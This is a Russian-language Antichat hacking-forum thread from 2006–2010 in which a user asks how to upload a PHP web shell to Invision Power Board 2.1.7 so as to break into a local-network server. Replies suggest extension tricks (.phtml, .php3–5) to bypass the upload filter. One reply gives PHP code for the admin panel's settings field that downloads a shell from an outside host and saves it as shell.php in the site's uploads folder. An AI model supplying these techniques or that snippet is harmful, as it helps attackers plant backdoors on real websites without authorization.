ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
Перезагрузить страницу Проблема с заливкой шелла в Invision Power Board v2.1.7
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Проблема с заливкой шелла в Invision Power Board v2.1.7
  #1  
Старый 06.10.2006, 01:55
Аватар для DeadMeat
DeadMeat
Новичок
Регистрация: 28.09.2006
Сообщений: 4
Провел на форуме:
14241

Репутация: 0
Question Проблема с заливкой шелла в Invision Power Board v2.1.7
доброго времяни суток...

подскажите куда ломиться, только именно подсказать интересней самому врубиться )

итак у меня задачка сломать сервак локальной сети...
пробывал ломиться через форум Invision Power Board v2.1.7
заливка шелла через аватары и фоты обламилась... единственное, что мне показалось неадекватным, это реакция сервака на имя файла... если я пытаюсь залить так script.php.jpg - он переименовывает весь фаил так av-(uid).txt
script.PHP.jpg - просто не пускает, также как и просто некорректный джипег... лажа какая-то...

подскажите может не в той стороне копаю ???
 

  #2  
Старый 06.10.2006, 11:24
Аватар для Brahma
Brahma
Познающий
Регистрация: 14.07.2006
Сообщений: 85
Провел на форуме:
72678

Репутация: 31
По умолчанию
попробуй не .php а .phtml или .php3,4,5
 

  #3  
Старый 06.10.2006, 15:50
Аватар для DeadMeat
DeadMeat
Новичок
Регистрация: 28.09.2006
Сообщений: 4
Провел на форуме:
14241

Репутация: 0
По умолчанию
некатит (( всёравно переименовывает в тхт
 

  #4  
Старый 06.10.2006, 15:57
Аватар для DeadMeat
DeadMeat
Новичок
Регистрация: 28.09.2006
Сообщений: 4
Провел на форуме:
14241

Репутация: 0
По умолчанию
да кстати меня интересует вопрос... можно-ли запустить скрипт с удалённого сервера через аватару... если какчать через какоёнить сервак то пхтмл и пхп не переименовываються... хотя и скрипт не скачиваеться а пишеться как ссылка
 

  #5  
Старый 06.10.2006, 18:30
Аватар для Otaku
Otaku
Познавший АНТИЧАТ
Регистрация: 24.07.2005
Сообщений: 1,057
Провел на форуме:
1864132

Репутация: 116


По умолчанию
php исполняеться на самом сервере!
Толку не будет никакого.
 

  #6  
Старый 08.10.2006, 08:13
Аватар для DeadMeat
DeadMeat
Новичок
Регистрация: 28.09.2006
Сообщений: 4
Провел на форуме:
14241

Репутация: 0
По умолчанию
блин будем пробывать ломиться через самопальные скрипты... будем надеяться на ошибки кодера...
 

  #7  
Старый 31.12.2006, 19:27
Аватар для pogant
pogant
Познающий
Регистрация: 24.06.2006
Сообщений: 35
Провел на форуме:
85679

Репутация: 10
По умолчанию
если есть доступ в админку то попробуй через настройки.там когда создаёшь новую то есть поле "выполнить php код до сохранения настройки"
туда вписывай
$linky="http://site.com/shell.txt";
$saved="/home/empire/public_html/uploads/shell.php"; (путь посмотри в настройках)
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);
Последний раз редактировалось pogant; 31.12.2006 в 21:20..
 

  #8  
Старый 01.01.2007, 14:03
Аватар для zl0ba
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


По умолчанию
Ты не зальёшь картинку шелл =(
 

  #9  
Старый 24.02.2010, 11:16
Аватар для ICQ Hool
ICQ Hool
Участник форума
Регистрация: 31.03.2008
Сообщений: 143
Провел на форуме:
403124

Репутация: 95
По умолчанию
в 2.3.6 php переименовывает в txt а phtml оставляет как есть, но показывает как txt =(
 

  #10  
Старый 24.02.2010, 11:48
Аватар для drim
drim
Участник форума
Регистрация: 27.08.2009
Сообщений: 131
Провел на форуме:
475164

Репутация: 33
По умолчанию
http://forum.antichat.ru/thread76949.html
 
Закрытая тема



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Убираем "звонилки" из Invision Power Board v2.1.5 Dimazzz Чужие Статьи 1 15.09.2006 02:16
Вопрос о заливке шелла на форуме Powered by Invision Power Board(U) v1.3 Final 0verfe1 Форумы 7 07.01.2006 03:23
Проблема с Invision Power Board CunningFox Форумы 11 20.04.2005 19:56
Invision Power Board 2.0.0 - проблема со вставкой скрипта. Telepuz Форумы 3 05.04.2005 13:49
Вопрос про заливку шелла в Invision Power Board DiNo Форумы 14 03.03.2005 13:40



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ